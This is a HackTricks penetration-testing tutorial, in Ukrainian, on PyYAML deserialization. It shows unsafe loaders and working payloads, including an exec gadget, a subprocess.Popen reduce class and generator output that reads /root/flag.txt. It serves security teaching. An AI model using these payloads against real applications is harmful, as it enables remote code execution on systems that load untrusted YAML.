hacktricks/pentesting-web/deserialization/python-yaml-deserialization.md

8.5 KiB
Raw Blame History

Python Yaml Deserialization

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Yaml Deserialization

Yaml бібліотеки python також здатні серіалізувати python об'єкти і не лише сирі дані:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

Перевірте, як tuple не є сирим типом даних, і тому він був серіалізований. І те ж саме сталося з range (взято з вбудованих).

safe_load() або safe_load_all() використовують SafeLoader і не підтримують десеріалізацію об'єктів класу. Приклад десеріалізації об'єктів класу:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Попередній код використовував unsafe_load для завантаження серіалізованого класу python. Це пов'язано з тим, що в версії >= 5.1 він не дозволяє десеріалізувати жоден серіалізований клас python або атрибут класу, якщо Loader не вказано в load() або Loader=SafeLoader.

Basic Exploit

Приклад того, як виконати затримку:

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Уразливий .load("<content>") без Loader

Старі версії pyyaml були уразливі до атак десеріалізації, якщо ви не вказали Loader під час завантаження чогось: yaml.load(data)

Ви можете знайти опис уразливості тут. Запропонований експлойт на цій сторінці:

!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Або ви також можете використовувати цей однорядковий код, наданий @ishaack:

!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}

Зверніть увагу, що в останніх версіях ви не можете більше викликати .load() без Loader і FullLoader більше не вразливий до цієї атаки.

RCE

Користувацькі корисні навантаження можуть бути створені за допомогою Python YAML модулів, таких як PyYAML або ruamel.yaml. Ці корисні навантаження можуть експлуатувати вразливості в системах, які десеріалізують ненадійний вхід без належної санітизації.

import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Інструмент для створення Payloads

Інструмент https://github.com/j0lt-github/python-deserialization-attack-payload-generator може бути використаний для генерації python deserialization payloads для зловживання Pickle, PyYAML, jsonpickle та ruamel.yaml:

python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}